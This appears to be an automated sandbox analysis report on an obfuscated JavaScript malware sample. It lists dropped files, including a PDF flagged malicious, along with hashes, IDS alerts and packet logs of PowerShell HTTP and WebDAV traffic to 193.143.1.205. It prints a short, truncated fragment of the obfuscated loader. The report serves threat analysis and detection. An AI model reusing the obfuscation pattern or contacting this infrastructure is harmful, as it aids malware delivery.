Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.5.8.:.2.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5hpm2yey.0ry.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lbddz2y2.nx5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-58-16-590.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.350402411774199
Encrypted:	false
SSDEEP:	384:axbTJTQTRTzTSTFJTaT5ATKTxTrTCTsTjytPQIcIKIOJtJZJYJnJJDR7RPRZGlGk:YmJ
MD5:	32F70E9891C4060F9E3B0B9E90B12253
SHA1:	4417386A8BA2595E980F43DF601182CABE9A3361
SHA-256:	FDA089DC3F60805113060AC3662480DEDA3AE1308A02C7EDB5B1A4B446C435DA
SHA-512:	12CEDAE1187FAD88FA472B7FE472065CD5F6EE621DFD4E56A358544DFB8209FDC3EED99519A394A1A337008A603A0C752E54CEC7B47BCE794D718618841E226F
Malicious:	false
Preview:	SessionID=d71534af-bd06-4661-83e7-0cd466ec3608.1736531896619 Timestamp=2025-01-10T12:58:16:620-0500 ThreadID=7708 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d71534af-bd06-4661-83e7-0cd466ec3608.1736531896619 Timestamp=2025-01-10T12:58:16:639-0500 ThreadID=7708 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d71534af-bd06-4661-83e7-0cd466ec3608.1736531896619 Timestamp=2025-01-10T12:58:16:639-0500 ThreadID=7708 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d71534af-bd06-4661-83e7-0cd466ec3608.1736531896619 Timestamp=2025-01-10T12:58:16:639-0500 ThreadID=7708 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d71534af-bd06-4661-83e7-0cd466ec3608.1736531896619 Timestamp=2025-01-10T12:58:16:639-0500 ThreadID=7708 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.392669176790874
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2r3:WFXZ99+cG6w
MD5:	AEB3E4F42138F694555C401D59711849
SHA1:	06C5156F798B4C388D10C4502B9C0617C14ABAED
SHA-256:	17BC0278D1A4352CA37C537498685460091F78A0057E72FBA1AD3772CD089F84
SHA-512:	D55CBEE00B9E157E70ACF79D8C2F6EEA29969D36AC759930AABAD32B8ABBBF3224516A5CA32F34CFA8B057223318103EED6A209BB4E27409241241C783A5E8F0
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4cd2643c-fd46-421e-90ce-48f25f0da000.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\873c9f19-8621-402d-b589-f5da865891f1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\981b38ad-2afb-4bf6-b4ee-efe55b2f2855.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/rKdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWL07oYGZQeYIGNPB:Ta3mlind9i4ufFXpAXkrfUs0kWLxYGZQ
MD5:	81778DB3CD3E202CD8FEB47572C9DF55
SHA1:	A030EAB46FE2ED66D14270A86F44303F0D742019
SHA-256:	2E4A0CE023C75E0A53D82D4D08DC4ACD144039D04CEA94103C26535CB5B56998
SHA-512:	97BFD23BD03D6E911059092ED0C44779588CE29AE31E8FA1510A7FEE2B92B9E07AE2FFD4614D2566D369E48554269DC95DE42E062E533A4AA5EEC4DBAAAD3D1B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e8308432-404a-4bed-9776-30d229c15385.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16019), with CRLF line terminators
Entropy (8bit):	4.900394198482072
TrID:
File name:	12315203731832427262.js
File size:	19'622 bytes
MD5:	a8bca21f483432c174f23e9571e74ed3
SHA1:	467fd4f38f758e8e22b09663d763947d4cff8573
SHA256:	834069f74b1f2a7ca75a06094ba471be9d6c29c1dc37bd6aa3f9e897e9477857
SHA512:	713b595ac877e98f48018bb5cf0a4283d9422939e52c7aaa2bece129fdd857d4b57781ae26cf66c4fa1565e59c9f389f5d0ebc77123ab61c85f94310677be2f4
SSDEEP:	192:+/EKFhCtuci43Ykue9zsh6nEChDWv9MmyB8CXKltrkG+myCP4/Dh8FSExCr5ccaG:PKbCtuouetlJW1VrW5faYDrn3H
TLSH:	339233C15D45DA9645E002A918D680963FA4C3CCCBF06DBDB9433CA7175CB5AE9F22F8
File Content Preview:	function ssftv(){bmujsxdbm=[1031,3079,5127,4103,2055,3072];var shoxmxt=this[vmcitl+ybikdjp+krawtzh+ykozgmki+xmzogoo+njcnklyu+wigfmu+iqcmfqwuh](this[gweddrmt+teejmom+bouohmpur+krawtzh+sjhmdrhkx+vmcitl+iqcmfqwuh][gkxtyyobo+krawtzh+xmzogoo+ybikdjp+iqcmfqwuh+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:58:12.727882+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T18:58:15.630351+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:58:11.849229097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:11.854135990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:11.854228020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:11.856750011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:11.861594915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.727761984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.727783918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.727801085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.727881908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.727917910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.727933884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.727950096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.727971077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.727977991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.728003025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.728028059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.728041887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.728058100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.728069067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.728099108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.762409925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.762448072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.762461901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.762470007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.762898922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.878658056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.878680944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.878706932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.878722906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.878739119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.878755093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.878770113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.878791094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.878855944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.879395962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.879436970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.879446983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.879462004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.879478931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.879503012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.879544020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.879602909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.880305052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.880321026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.880336046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.880367994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.880749941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.880774021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.880789995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.880800962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.880815029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.880835056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.880845070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.880892038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.881525993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.892405987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.892431974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.892446995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.892462969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.892538071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.892554998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:12.972940922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.972958088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:12.973026037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.021104097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.021128893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.021217108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.021409988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.021490097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.021517992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.021533012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.021545887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.021589994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.021605968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.021631002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.021646976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.021672964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.021958113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.021975040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.022005081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.022039890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.022084951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.022109985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.022159100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.022173882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.022206068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.022273064 CET	80	49730	193.143.1.205	192.168.2.4
